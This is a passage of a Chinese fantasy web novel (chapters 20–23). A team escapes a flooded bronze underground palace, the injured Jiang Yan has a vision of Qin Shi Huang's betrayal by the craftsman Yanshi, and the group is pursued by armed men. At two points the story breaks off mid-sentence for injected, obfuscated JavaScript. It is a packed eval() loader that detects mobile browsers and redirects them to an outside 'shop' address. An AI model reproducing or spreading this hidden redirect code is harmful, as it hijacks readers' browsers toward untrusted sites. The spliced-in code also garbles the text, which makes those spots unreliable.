九瑶有点意外,她不知道江宴是什么时候独自一人去拿的神谱,为什么没有跟他们说,但现在已容不得她多想。 她和沈半人他们还没来得及跨上青铜台阶,地宫就已经完全承受不住了,四周的墙壁全部都裂开了,纵横交错的裂缝里,冥河之水仿佛决堤般,卷着浪汹涌澎湃的灌了进来。 他们瞬间就被冲散了,河底涌动的暗流如同吃人的恶兽,一旦咬住了人,便凶狠的将人向下拖拽,仿佛要将人拉入十八层地狱。 一片混乱中,九瑶看到了身旁的靳川,他好像呛了水,身体挣扎着,完全失去了章法。九瑶伸手去够他,抓住了他的手腕,给了他一个支撑。 她又低头去找沈半人,虽然地宫里的地晶石还能发挥照明的效果,但水很黑,加上地宫里不时有青铜器、石像,各种青铜碎片等被暗流冲出来,搅动的整片水域动荡不安,视线所及皆是浑浊一片。 九瑶努力辨认,确认了前方一个动的特别明显的‘东西’应该是个人,她调整姿势,向着那东西游了过去。 沈半人不谙水性,越是挣扎身体越是沉的厉害,早不知道喝了几口水进去了,因为窒息难受的在水里面手舞足蹈。九瑶游过去,抓住了他的手腕,牢牢的拉住了他。 如此一来,九瑶左手靳川,右手沈半人,一面紧紧的攒着他们,确保他们不被暗流冲走,一面还要尽力维持自己身体的平衡,就这么一拖二的在水里艰难向上泅渡。好在他们所在的位置离青铜台阶很近,游了大概十几米,脚渐渐能够到台阶,九瑶几乎是连拖带拽的把他们两个从台阶一直拉到了上层井姬的墓室里。 沈半人和靳川都呛了水,上了岸就一直在呛咳,咳的上气不接下气。那冥河的水又极冷,只待了那么一会儿就感觉全身都被冻麻了,头发和眉毛上挂满了冰渣。 从井姬的墓室看去,石门下除了前两级青铜台阶,整个下层地宫已经完全被冥河淹没,水面嘶嘶的冒着寒气,黑洞洞的水域里,荡漾着地晶石投射出的点点光芒。 江宴怎么还没上来? 九瑶突然意识到少了一个人,从水里挣扎到把他们两个拖到岸上,一路都没见到江宴的身影。 “靳川,你不是会水吗?怎么刚才在水里一点水性都不通的样子!”沈半人喘着气纳闷地问。 靳川呛咳着回道:“……不知道啊,那水太冷了……还有,不管我怎么放松身体,还是控制不住往下沉……那水里好像根本没有浮力啊!” 九瑶的心像是一下子沉入了深渊寒潭,甚至比冥河的水还要冰冷。她隐约中记起,江宴说过,冥河之水,万物皆沉,就算是一片翎羽,也无法泅渡。 “你们在这里,我去找下江宴。”她道,说完,不等他们两个反应,便径直下了石门,重又进了冥河。 再次下到冥河,九瑶才感觉到彻骨的寒冷,仿佛往骨缝里灌冰水一样,浑身每一寸关节都浸透了寒意。这次她沿原路往下游,亲眼见证那座他们来时还依然巍峨耸立的青铜王殿已经完全坍塌成废墟,断壁残垣在被掩埋的地晶石暗淡的光芒中,孤零零地矗立着。 还有那架井姬走时所坐的青铜秋千,一边的绳索已经断了,坐板耷拉在地,被涌动的暗流推的一晃一晃的。 她游进那片废墟中,四处翻找确定江宴会不会被倾倒的建筑物压住,心中矛盾纠结,一方面害怕这种事发生,一方面又期待能在里面找到他,至少他如果是坠落到这里,是不是就不会继续下沉了。 沈半人和靳川在墓室里等了半天,急的像热锅上的蚂蚁。终于水面上出现了一点涟漪,两个人赶紧凑过去,眼睛一眨不眨地盯着水面,心也提到了嗓子口。 过了一会儿,水面上冒出半截人影,是九瑶。她浑身湿漉漉的,头发全都贴在了脸上,因为泡水泡的太久,整个人发白,身体也微微颤抖,沈半人和靳川赶紧帮忙把她从水里拉出来,给她裹上外套。 “江宴呢?”沈半人小心翼翼地问。 九瑶累的没力气说话,只是摇了摇头,表示她并没有找到。 这下沈半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667481|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人和靳川彻底慌了,自从旱魃事件以来,这几日所有的行动都是江宴主导的,他们已经习惯了跟随他的安排,现在他不在,就好像一个团队失去了主心骨一样。 “我再下去找找。”靳川急道。 沈半人拉住他:“等等,江宴说过,冥河之水万物皆沉,你刚才也不是没试过,你下去了,别说救他,就是你自己也上不来。” “可是,九瑶她在冥河里也没沉啊!你再让我试试吧,也许刚才只是水太冷了,我一下子没适应!”靳川还想坚持。 “靳川,你冷静点。九瑶本就异于凡人,怎么好作为参照。现在所有人中,最不能下去的就是你。”沈半人劝道,虽然他也十分担心江宴,但现在最需要的是先保持镇定,“江宴他有祖巫氏的神血和修为,就算是在冥河里,也未必没有自救的能力。” “那我们就不去救他吗?”靳川问。 “救,当然要救!”沈半人斩钉截铁道,“或许我们可以先去找找看有没有绳子,冥河的水没有浮力,那我们就绑上绳子,轮流去水里找他。” 九瑶一言不发,只是望着冥河的水发呆。 其实刚才在冥河里,她本有机会抓住江宴的,但那一刻,她似乎满心满眼都只有沈半人。好不容易重获的记忆,她实在不想也不能再丢掉了,所以当时的她几乎是本能反应,绕过了江宴选择了抓住沈半人。 如果江宴真的死在了冥河里,那是不是也跟她的见死不救有关呢? …… 江宴感觉自己像是坠入了一个无穷无尽的深渊,黑暗,冰冷,漫长。他知道冥河万物不浮,一旦坠入,就只能像是被漩涡吞噬般身不由己的下坠。不过他方才好像看见九瑶可以在水中行动自如,难道她的身世跟地神也有关? 大脑里逐渐侵袭的窒息感,让他无法集中注意力思考,他用尽最后一丝力气,摸索到腰间的小刀,抓住它,紧紧的握住刀刃,想用痛觉来对抗被倦意蚕食的意识,然而冥河的水太冷了,他几乎把整个刀身握进掌心里,才换来片刻清明。 幸好,那片刻清明是无比清晰的,他突然清楚的看到了鱼国人悬在冥河里的巨大船舱,连同舱壁上清晰可见的红色锈迹,透过船舱的巨大裂缝,他看到里面透出一片片庄严肃穆的金光。这光照到他身上,是暖的,带着蓬勃生机的,仿佛也给了他一丝生的希望。 他努力朝这片光域坠去,靠近了发现这光域是一圈字符发出的,他认出了那是鱼国的文字,上面写的是:见昆仑天机者,身死魂殒。 这句话他并不陌生,几乎每一件鱼国人的青铜神器上都出现过这句话,难道这也是能和神族建立联系的东西? 然而不等他作出更多的判断,脑海深处的一阵剧烈的疼痛让他的意识彻底坠入了无边无际的黑暗之中…… 21. 第 20 章 一片叮玲铛啷的敲打声中,江宴睁开了眼睛,脑海深处的剧痛已经慢慢减淡,意识也在逐渐恢复清明。他费力的从地上爬起来,有些迷茫地环顾四周,这是在哪儿呢? 视觉上他感觉出这是在地下,一个很大很大的山洞里,不对,或许叫地宫更合适。现在他正处于地宫内的某个巨大的工坊之中。 说是工坊,是因为这里面整整齐齐的排列着许多人形石像,个个身长八尺,穿戴着军甲,腰间还配有石头磨成的刀、剑等各种锋利武器。有些人形石像已经彻底完工,面目精雕细琢,连皮肤的纹理都清晰可见,乍一看,与真人别无二致。有些已经完成了粗雕,此刻工匠们正用铁锤和刻刀细细琢磨眉眼。 一个工头模样的官员,正领着一个带纵目面具的人在工坊之中巡视:“偃师,这些全都是按照您的要求制造的,今天最后一批石俑就能制造完成,还请您过目验收。” 偃师?是?列子?里“偃师献艺”的那个偃师? 传闻周穆王驱八骏西游昆仑时,曾在昆仑山下遇见了一个奇人,自称偃师。他给穆王献上了自己制造的歌舞艺人,这艺人不但面目生动,能歌善舞,还能飞檐走壁,灵活自如,然而拆开后,不过是由皮革、木块等材料制成的人偶。 江宴一直以为这只是后人杜撰的一个故事,没想到还真有偃师这个人。那这个偃师究竟是什么身份呢?他在昆仑山附近出现,是否也与神族有关? 而且他也从穆王时代活到了秦始皇时期,那他的身份应该不是魃,就是长生术的获得者。他出现在秦始皇身边,与周穆王是否有关? 江宴满心疑惑,千头万绪,只觉脑海中的谜团随着已知信息的增多反而越来越大,有时又觉得似乎就缺那么一两个关键信息,便可连点成线,进而绘出真相的面目了。 偃师对制成的石俑看着还算满意,至于是不是外强中干,就需要好好试一试了。只见他走到其中两个石俑面前,在他们的后背某处地方摸了一下,这两个石俑立刻活了,拔出腰间的武器,开始对打起来。虽然是石头雕刻而成的,却四肢灵活,俯仰自如,比起真人也毫不逊色,甚至力量上还要高出一筹。 那官员看得目瞪口呆,佩服的五体投地:“偃师真乃神人也。” 远处,一大群身穿官服铠甲的军士簇拥着一个身穿黑金袍服的帝王向这里走来,这帝王虽已中年,但剑眉朗目,不怒自威。江宴虽然没见过,但还是下意识的认出来了,那个人是秦始皇。 面具人走过去,行礼作揖,恭敬但不卑微:“陛下,请跟我来。” “陛下已经服下长生药,往后只需定期在龙脉中休养,吸取灵气,自可永葆盛年。” “偃师,休养的时间不能再缩短了吗?”始皇问,声音冷咧,自带威慑,只是无论如何掩饰,那声音还是透出一丝病气。 面具人并不直接回答始皇帝的问题,淡然道:“五十年,换五百年,陛下可愿?” 始皇帝没再说话。 江宴看着他们逐渐走远的身影,听见偃师说:“陛下休养期间,臣亦会在龙脉里陪伴陛下。” 在他们身后,除了浩浩荡荡的随行士兵,还有一队刚刚才全部完工的石俑,踏着整齐划一的步伐,面无表情的跟随着。 江宴待他们走远了,也悄悄跟在了队伍身后。 队伍来到了两扇巨大的石门前,有两列士兵走上前,各将门上一个插销一样的巨大物件拔了出来,那石门便自动向内开启。石门内是一间空旷宽敞的石室,石室四壁,镶嵌着淡粉色的地晶石,这些地晶石都是从石头缝隙里长出来的,形状类似结晶,发出的光芒温润柔和的照亮整间石室。 石室的中央,分主位和客位各放有一张玉床,这两张玉床表面并不靠着,但其实底下是连在一块的。 江宴推算这里已经是整个山体最中心的区域了,也就是说,他们现在所在的位置,很可能是秦岭山脉的核心山腹里。 “秦翊,朕已传位扶苏,并命你父兄辅佐。从今以后,你及你的后人,便世代留守秦岭龙脉,守护朕的龙体,替朕保守长生的秘密。朕也可承诺你,待朕重新归来那一日,必会善待你秦氏族人,保他们千秋万世,富贵荣华。” 那叫秦翊的将军单膝跪地,一片赤胆忠心:“微臣得遇陛下,实乃毕生之幸。愿世代追随陛下,鞠躬尽瘁,死而后已!” 君臣简单道别,始皇帝便躺上玉床,而那面具人在躺上去之前又交代道:“秦将军切记,除非自然苏醒,绝不可中途吵醒始皇,否则长生术失效,始皇就会变成吃人的怪物。” 秦翊闻言,面色凝重道:“我记住了。” 面具人躺上玉床,不久,便和始皇一起陷入沉睡。 那叫秦翊的将军,按照原定计划留下石俑和部分士兵守在玉床前,自己则带着剩余的士兵离开石室,并关上了石门。 江宴等他们都离开一会儿了,才从藏身的石头后面走出来,刚想上前看看,突然发现玉床上那面具人居然坐了起来。 和江宴一样惊讶的,还有那群士兵,然而不等他们反应过来,原本守在石门旁的石俑仿佛受到某种召唤,包围了那群士兵,像砍瓜切菜一样的杀死了他们。 面具人起身,走到始皇帝身边,看了他一眼,突然伸出手死死扼住始皇帝的脖子,沉睡中的始皇帝仍有感知,身体开始抽搐挣扎,不一会儿,喉咙发出“喀”的一声,两腿蹬直,头一歪,彻底死去。 面具人松开始皇帝,帮他整理好衣袍发冠,又摆正他的身体,然后才心满意足的躺回自己的玉床。 不知过了多久,洞中逐渐恢复沉寂,那面具人似乎开始真正陷入沉睡。江宴走上前,踏过那一副副横七竖八的士兵骸骨,走到洞室中央那两张玉床前,惊讶的发现玉床上躺着的两个人,竟已变成两尊石像。 其中一尊石像带着纵目面具,是始皇口中的“偃师”,江宴摘下他的面具,然而他已经完全石化,看不出真实的面目。 他又开始研究手中的面具,发现竟也是青铜铸造,从工艺和结构上看应当是古蜀 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一声绵长而清晰的呼吸,吓得江宴心头一抖,尽管他意识到此时的自己应当是看不见摸不着的,出于安全起见,他还是离开了玉床,跑到山洞边缘的石头后面躲了起来。 透过石头间的缝隙,他看见原本一动不动躺着的秦始皇慢慢坐了起来,可能是刚从石像变为人身,身体还很僵硬,每动一下,全身的关节就会发出骨折一样“咔擦”的声响。寂静的空间里,这声响格外的清晰,也格外令人毛骨悚然。 江宴见他已经站了起来,走到了旁边那堆烂石头前,伸手去拣纵目面具,那样子仿佛是在拾回属于自己的物品。尽管他顶着秦始皇的脸,但江宴还是可以清楚的感受到,在这张皮下,已经是另一个灵魂。 突然山洞里传来“轰隆”的巨响,原本紧闭的石门轰然倒塌,那些石俑被倒塌的石门顷刻间砸的粉碎,碎石、尘屑四处飞溅。 大开的石门外,原本的通道却不见了,取而代之的是一重又一重的山石。这些山石是活的,它们竟然还在不断的向内部疯长,并且逐渐将山腹填满,遮天蔽地一丝缝隙都不留。江宴身在这一重重的山石中,也绝压抑无比,仿佛整个人被活埋一样。 好在他的身体是透明的,可以直接穿过这这些层层叠叠的山石,直退到先前进来时的那个洞口。 “偃师,吾绝不宥汝!!!”一阵不似人声的怒吼,穿过堵的严严实实的山体传出来,带着滔天的怒火,和骇人的恨意,响彻云霄,引得地动山摇。 江宴忍不住捂住耳朵,大脑被这声音刺激的一阵阵剧烈的疼痛和晕眩,他难受的蹲下来,忍不住干呕起来。 他的视线也在一阵同样的刺痛中由眩晕逐渐恢复明朗,渐渐的,目光所及,眼前的画面变的越来越清晰深远,甚至能一目千里,纤毫毕现。 他起身,重新望向身后,目光仿佛能穿透重重叠叠的山石,看见原本那条通向山腹的巨大通道,实际是一副巨龙的骸骨,蜿蜒横长,从头到尾贯穿整个山脉,而他现在所在的位置,正是这巨龙骸骨的嘴巴里。 22. 第 21 章 九瑶也不记得这是她第几次下冥河了,包括她在内,还有沈半人和靳川,他们其实都不敢多想,已经这么长时间了,找到江宴的可能性微乎其微。但他们是一起来的,当然要一起回去,没见到尸体前,又怎么能轻易放弃。 这次九瑶下的更深了,底下的冥河水域,没有了地晶石的照明,变的更黑,也更冷,穿行其中,犹如堕入漫漫长夜,不知前路归途。 但涉过这片黑暗,再底下,又出现了大片大片青绿色的模糊光域,仔细看,原来是万点萤火,如同银河的倒影,栖息在水中漂浮着的冥河水草上。 九瑶第一次对“腐草为萤”有了具像化的认知。 在那片模糊光域上,还有一尊倒塌的青铜石像,正在缓慢漂流,九瑶认出,这是鱼国人青铜王殿里的那尊神像。 九瑶游过去,从水中俯视这尊神像,突然脑海中冒出了一个很清晰的想法:他是炎帝。 原来鱼国人信奉的神明,是炎帝。 那么她似乎可以理解为什么神族会追着鱼国人不放了,尽管她并没有记起什么具体的事件,但在她本能的认知中,炎黄二帝一直只是表面和谐,内部其实纷争不断。特别是蚩尤死后,唯一的掣肘也没了,二帝闹得最凶时,炎帝后裔共工,与黄帝后裔颛顼大战了一场,最后以共工怒触不周山,致使天折地绝收场。 自此炎帝后裔彻底退出神族,而黄帝后裔继承正统,执掌昆仑神界。 九瑶对炎黄二帝的看法,就如同万千局外人一样,既没有崇拜,也没有憎恶,他们的故事不过是神话史上的一页春秋。 但她还是游过去,扶正了那神像。也正是这一小小善举,让她看到了神像背后,鱼国人搁浅在冥河里的巨大船舱。 以及透过船舱上的巨大缺口,她看见江宴躺在地上,脸色苍白,双目紧闭,失去了意识。 九瑶带着江宴一出水面,沈半人和靳川就赶紧围过来帮忙。 江宴的情况比他们预想的要好一些,本来找了这么久,他们以为他肯定活不了了,没想到还能有口气在。 “我在鱼国人的船舱里找到他的,”九瑶向他们说明情况,“那船舱破了,但并没有进水,只是不知道他在进入船舱前是不是还有意识。” “江宴,江宴……”靳川也不敢瞎动他,只能一遍遍喊他名字,试图把他喊醒。 沈半人怕他掉入船舱前已经溺水,又在船舱里躺了那么久无人施救,这样即便不死,可能也会因为缺氧脑死亡或是变成植物人。他回忆着电视里的救人画面,准备和靳川一起轮流按压江宴的胸口给他做心肺复苏。 九瑶发现江宴的右手一直紧紧地握着,手掌的缝隙间,隐隐有干涸的血迹。她扒开他的手掌,想看看他手里有什么,结果发现是那把他用来取血的小刀,刀身已经全部没入肉里,伤口触目惊心,好在冥河水很冷,血已经被冻住了。 但刀还是要拔出来,九瑶狠狠心,两指夹住露在外面的一点点刀刃边缘,用力一扯,拔出了小刀。 突然的剧痛让昏睡中的江宴也控制不住的颤抖起来,喉咙发出了一声呻吟,随着这声呻吟,原本堵在胸口的气终是缓上来了,人也逐渐醒转。 “江宴,你没事吧?还好吗?”靳川担心地问。 江宴眼前一片模糊,像是灵魂刚回窍一样,脑袋昏昏沉沉,下意识的回道:“没……没事。” “你可别硬撑了!你知不知道你在下面待了多久,我们以为你已经投胎转世了呢!”沈半人急道。 他竟然还笑的出来,喘着气轻声道:“我说过……我运气一向很好。” 沈半人想办法从墓室里搞了些还没腐烂的木条子,生了堆火,给江宴和九瑶暖身体。 今天这个情况,谁都没力气走出去了,几个人商议决定在这里休息一晚。 为了让伤员能好好休息,值夜的事情便由九瑶他们三个人轮流分摊,不过这里也没什么需要防范的,一是通道过于隐秘,几乎没有人能下得来,二是生了篝火,冥虫也不敢靠近。 到了下半夜,九瑶看他们三个人都沉入了恬静的梦乡,而自己睡意全无,心中又总是想着一些事情,于是索性起身,轻手轻脚的又下了冥河。 她又回到了那片废墟,认认真真地修好了秋千,原本还想再找找井姬的尸身,但之前在这里找江宴的时候,她已经翻遍整座废墟,未曾见到井姬的身影。 可能那尸身早就沉入冥河之底,九瑶心想,井姬的身体最后也会慢慢变成腐草吧,最终化为冥河里的一点萤火。 这样也挺好的,她一直都漂漂亮亮的,如果尸身成为虫窝,那她一定很难过。 九瑶离开废墟,漫无目的地在冥河里穿行。不知为何,冥河的水除了冷点,对九瑶而言,似乎与寻常水域并无区别,甚至比陆地上行走更让她感觉行动自如。 但她却从未出现过与这河有关的任何碎片式记忆,就仿佛她从没来过一样。 现在她也越来越搞不清楚自己究竟是谁。 随着她开始逐渐拥有记忆,她也越来越多的去学习着思考,过去那片无边无际的深渊于她而言已不再是完全的黑暗与荒芜了,只是她还无法做到共情,所以没有办法把出现在梦境里和脑海中片刻闪过的画面进行逻辑加工。 有时候九瑶又有一种感觉,她的过去似乎隐藏着巨大的秘密,只是她不能确定这个秘密于他人而言究竟是灾厄,还是转机。所以她今天对井姬说的话,有一半是出自真心,另一半则是一种逃避。 她想记起往事,又害怕记起不好的往事,两种矛盾的心态常常令她左右为难,患得患失,于是只好带着一种听之任之的态度来面对。 她从水里出来,就看见江宴坐在台阶旁,正在等她。 江宴的目光柔和,总是带着淡淡笑意,他起身搭了把手把九瑶带离水面。 “你怎么醒了?”九瑶问。 “下午在鱼国人的船舱里睡得太久了,不困了。”江宴边说边把自己已经被篝火烘干的外套递给九瑶披上。 突然的暖意,将九瑶的疲倦一扫而空,她坐到篝火旁烤火,仍旧是睡意全无。 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九瑶几乎要被他说动了,可转念一想,也许经历和遭遇真的会改变一个人原本的性情。无论是浓烈的爱恨,还是刻骨的仇怨,都会让人面目全非。 到时,她真的还能像现在这样心平气和,云淡风轻吗? 九瑶对自己没有信心,她轻叹:“你不了解我。” “那九瑶小姐了解我吗?” 九瑶看了他一会儿,诚实地摇了摇头。她的确一点都不了解江宴,虽然他同他们说过许多话,但那些话里并没有多少真正与他有关的信息,就包括他说他要寻找前往昆仑神界的路,九瑶也并不清楚他这么做的动机。 但这并不影响她相信江宴。正如她坚信,危险来临的时候,他们都是会为保护朋友而奋不顾身的人。 “人和人之间相处,有时候凭的是感觉和运气。”江宴笑道,“就比如我跟你们,初见时彼此怀疑、试探,防备,现在却可以相互信任、配合,甚至交托生死。就在今天,九瑶小姐还救了我的命。” 他不提这事还好,一提九瑶就有点心虚。也不知他当时有没有注意到,会不会心生芥蒂。 “所以,我相信我对九瑶小姐的判断不会错的,我一向看人很准。” 这句话怎么那么耳熟?九瑶想起来了,沈半人也说过一样的话,她忍不住好奇:“你们江家的人,都这么自信吗?” 江宴笑笑。 “对了,神谱,你什么时候去拿的?”九瑶其实早就想问了,只是后来一直忙着找江宴,差点给忘了。 “陪靳川去找针和线的时候。”江宴道,低头往篝火堆里添了点木条,“我已经看过了,那应该是鱼国人的译本,上面都是金文……等我翻译出来再拿给你们吧。” “好。”九瑶回道。 两个人都沉默了一阵,安静的气氛里,只听得篝火燃烧发出的“噼啪”声。 “你睡一会儿吧,”江宴抬头看她,“明天出地宫还有一段很长的路要走。” 九瑶再次点点头,尽管有点依恋,还是暂且结束了交谈。 23. 第 22 章 经过一夜的休整,四个人都恢复了点体力,鉴于带的干粮已经基本遗失在冥河里了,昨晚就已经面临断粮危机,所以今天无论如何,他们都必须要在天黑前下山。 只是进来不容易,出去也不容易,一想到还要再走一遍那个大峡缝,沈半人心里就有一万个不乐意。 “我们就没有其他通道了吗?”他垂死挣扎。 “有啊,上面有个盗洞的,可以从盗洞爬出去。不过时间很久了,不知道洞口还通不通,如果不通,还得爬回来。”江宴逗他。 “那算了吧!”沈半人放弃,老老实实原路返回,只是出了地宫的门,还是忍不住吐槽:“这鱼国人为什么要给地宫留这么一个奇怪的出口。” 江宴笑:“因为这根本不是鱼国人留的。” “那是谁留的?盗墓贼从里面打通的一条逃生通道吗?” “你要这么说的话,也不是不可以。”江宴今天心情格外的轻松,于是提着精神陪他聊天,“其实鱼伯的墓是很好进的,他本身也知道,穆王为了长生术的事肯定会时不时往他墓里跑,寻找线索,他把入口搞得那么复杂,那不是欲盖弥彰吗。” “所以他当初在设计这个墓的时候,就借鉴了古蜀某些遗民部落的墓葬风俗,采用了一种‘悬棺锁’的结构,这整个上层墓室,其实是下层地宫的一把锁,只要你从上层入口进入,就会自动锁死通往下层的通道。” “这就是周穆王进来几次都没发现青铜地宫的原因。后来他远走古蜀国,查到了其中的玄机,这才立即赶回,鼓动始皇帝大兴土木,修建皇陵,一直挖到冥河位层,跟青铜地宫直接打通,才得以与鱼国人重新见面的。” “呵,又一个‘掘地见母’的郑庄公啊!”沈半人调侃。 “那咱们进来时走的那个水路通道呢?它不也是从上层墓室进入的吗?”靳川疑惑。 “那片水域其实是直通青铜地宫的,”江宴解释道,“作用是给地宫进行空气交换。鱼国人的亡灵住在地宫内自然是不需要空气的,之后始皇帝从皇陵开了通道过来,空气也能从通道进入青铜地宫,但是皇陵一旦封上了,时间一长就没有空气流通了,所以守陵人便挖了这么一条水通道,我们只是因为闭气能力有限,选择了从上层地宫上岸而已。” “至于这条出口,本身倒没什么记录,也是我无意中发现的,我猜它之所以放在这么个位置,一方面是隐蔽,另一方面可能是造的人为了自己逃出去的时候,能甩开后面的追兵吧。” 这么一说,完全能解释它为什么这么窄了,沈半人感觉自己在地宫待了两天变胖了,过那最窄处时被卡了半天。不对,一定是里面氧气稀薄,气压太低,才会导致自己身体膨胀。 他仰着头,大口吸氧。 靳川从窄缝里费力的拔出自己的一条腿,又拔出另一条,浑身汗湿,不得不停下来休息:“那这秦始皇陵到现在还有守陵人吗?他在外面还是在里面?” “没有了,最后一代守陵人的魂魄,六年前已经被我超度送走了。这水下的入口就是他告诉我的,临走前,他托我进去看看,始皇帝还在不在。” 原来如此,秦将多忠魂啊!沈半人感叹,“不过,你们虞山江家不会是专门做超度业务的吧?像你这样每次都给人免费超度,岂不是亏本又费血?” 江宴几乎给他气笑了:“确实挣的不如杭州沈家多,这两个营生你要是都不喜欢,也可以再勤加修习术法,争取早日解锁神血的其他功能。” 沈半人一脸拒绝:“我只要能学会隐藏神血气息的就行了,其他的估计这辈子都用不上。” “好了,都省着点力气吧。”九瑶适时地帮他们结束了交谈。峡缝太窄,呼吸都困难,说话太耗精力了,特别是江宴,才刚死里逃生。 出了峡缝,行了有小半日,就到了扎营的地方,跟去时相比,归来路上的一草一木都充满了亲切感,尤其是当他们掀开伪装篷布,看见那辆白色的车时,真有一种劫后重逢地欣喜。 江宴手上有伤,换成了靳川开车,江宴坐在副驾指路。沈半人一人独霸整个第三排,躺在座椅上,翘着二郎腿小憩。 本想用这个时间好好翻一翻那本神谱,但听说是金文,看也看不懂,只好等江宴翻译出来了。 车子在盘山公路上一路缓行,沈半人昏昏欲睡的时候,察觉到车内似乎涌动着异样的氛围。 靳川专注开车,寡言少语,但表情未免太过凝重,江宴一向从容温和,眉眼间竟也有些冷峻的意味。而坐在第二排的九瑶,身体一直是绷着的,像是在全神戒备。 “怎么了吗?”他迷迷糊糊地问,本能的压低声音。 九瑶眼神示意他看后面,沈半人彻底醒了,他悄悄摸上后排的的挡风玻璃,探头看了半天,发现有一辆贴了迷彩膜的越野车正不近不远地跟着他们,来者不善的样子。 沈半人第一反应:“警察?” 江宴摇了摇头。 他放下心来,虽然也没干啥违法犯罪的勾当,话说拿神谱应该不算吧?他也可以看完就还的。 不是警察,难道是强盗、土匪?沈半人想不明白,江宴开出来的这辆车就是普通的家庭出游的七座车,并没有显露财富,怎么忽然就被盯上了呢? 他正觉古怪,突然车身强烈颠簸,一侧的轮胎像是被什么叫尖锐的东西扎了一下,车身猛地倾斜,车头直直向路边的山石撞去。 沈半人抓紧真皮座椅的边缘,闭上眼睛,本能的护住自己的要害部位,这可是在盘山公路上,旁边就是悬崖绝壁,就算撞不死,被弹开了车子倒翻,也随时都可能摔下万丈深渊。 以为是必死局,好在靳川奇迹般力挽狂澜,稳住了方向盘,车身堪堪擦着石壁驶过。沈半人惊的一头汗,睁开眼,看向后挡风玻璃,恰好看到后车上一个黑洞洞的杆子收进了车窗里。 “他们有枪!!”沈半人惊愕无比,刚才他们就是用枪打了他们的车胎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726196|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 江宴依然镇定,路况他是所有人中最熟悉的,此刻冷静地指挥靳川,借助地形跟后车拉开了间距。这一段路弯道极其多,会有好几个视觉盲点,但想要彻底甩开他们是不可能的,况且车子也支撑不了多久。 在沉默紧张的氛围里,车子又转过了一个弯道,速度稍慢下来,那辆迷彩车又重新出现在后视镜里,并且摇下了车窗。 沈半人知道他们又要用枪了,后背起了一层鸡皮疙瘩,鼻尖冷汗直冒。 车子还在持续过弯,道路极窄,后车不敢轻易加速超车,每过弯道,视线就会被遮挡一次。 江宴一直在凝神关注着前方道路,似乎在等待着什么。突然前方出现一个很大的弯道,江宴果断道:“靳川,把好方向盘,加速!” 弯道处最忌加速,速度过快会大大减小车轮的抓地能力,增大离心力,而让车子失控飞离。但江宴这么说了,靳川百分之百执行,沈半人只好再度闭上眼睛,心里暗骂:一群疯子!紧接着,尽管有安全带束缚着,还是感受到整个身体腾空似的飞起,又随着车子重重落下,然后就像在蹦蹦床上一样,人和车都不断地蹦蹋颠簸。 沈半人被颠的七荤八素,勉强睁开眼想看看究竟是个什么情况,发现车子已不知何时驶离了盘山公路,开到了没有路的丛林里。 这地方哪能开车啊,怕是开不了多久,四个车轮都得分家! 江宴让靳川靠边停车,自己也解开了安全带,道:“下车吧。” 沈半人忍着反胃,从后排爬到前面来,和九瑶一起下车,现在的情况来看,弃车确实是更好的选择。 可刚下来,江宴又开门坐上驾驶位,靳川拦着他:“你这手,怎么开车?” “没关系的,我已经用过药了,而且神血也有点自愈能力。”江宴解释道,“你们延着山道走,穿过前面的峪口,从峡谷绕近道下山。” “那你呢?”九瑶问。 “他们的目标是我,而我的目标是他们。我等他们很久了,怎么能不去见一见呢。” 三个人还想说些什么,但江宴已经系好安全带,发动了车子:“沈半人,别忘了我教你的压制神血的术法,有时间就多练练,别再给魃盯上了!” 说罢,引擎“轰”的一响,车子绝尘而去。留下还没缓过来的三个人,眼看着那辆白色车子颠簸着又驶回了盘山公路,速度越来越快,反倒像是去追那辆迷彩越野车,不一会儿,完全消失在视野中。 “我们现在怎么办?下山吗?”靳川茫然。 九瑶看着江宴离开的方向,心中有些混乱,担心、怅然、失落,又夹杂着那么一点说不清的情绪,这还是她第一次产生这样的感受。 “他让我们下山就下山吧,”沈半人考虑后敲板,“这一代他比我们熟,我们找他是大海捞针,而且我们现在什么物资都没了,不如先去山下备些物资,等等看。实在不行,联系救援队进山也比我们找到的概率大一点。” 24. 第 23 章 沈半人一行在天快擦黑的时候才赶到山下。山脚下有一个很大的房车露营基地,已经有几家开始起锅做饭了,铁锅里热辣滚烫的香气,随着袅袅升腾的烟雾,飘散在空气中,勾动着馋欲。 三个人饥肠辘辘,然而摸摸口袋,没钱,也没任何通讯设备,要么厚着脸皮去跟人家借,要么就继续往前走,大概走个二十公里的样子,可以到附近的镇子里,沈半人可以打电话让店里的老赵给打点钱过来用。 正纠结时,突然身后有人叫他们,沈半人转身,就看见一张熟悉的脸,顶着阳光灿烂的笑容远远看着他们。 “江十七?” 十七跑上前来,笑道:“终于等到你们了!我还以为你们在山里迷路了呢!” “不是,你为什么会在这儿?!”沈半人又惊又喜,什么语言也无法形容此刻窘迫潦倒时,突然遇到一个熟悉可靠的人。 “我来接你们啊!宴哥说你们这趟出来最快三天能完事,要我一忙完就来秦岭脚下等着,顺便给你们接接风。” 他一提江宴,三个人他乡遇故知的愉悦心情立马消失的无影无踪,沈半人面色凝重道:“江宴在山上好像被人追杀,那些人还有枪,你知道是怎么回事吗?” 十七面色紧了一下,但并没有表现的过分担忧:“我知道,是我们江家的宿敌了。” “那我们报警吧,联系救援队到山里去找他!”靳川提议,九瑶和沈半人也赞同。 